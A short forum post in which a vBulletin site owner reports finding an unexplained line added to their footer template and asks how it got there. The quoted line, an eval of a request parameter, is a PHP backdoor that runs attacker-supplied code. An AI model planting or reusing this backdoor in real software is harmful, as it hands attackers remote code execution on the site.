hacking attempt? Modified template

[Amenadiel]

My footer templates just got a new line:

<script type=\"text/javascript\">
<!-- // Main vBulletin Javascript Initialization
vBulletin_init();
{${eval($_REQUEST[dar])}}
//-->
</script>

I know I didn't insert that line in red. I haven't seen how is this exploited, and I can't explain how did they insert this line in my templates.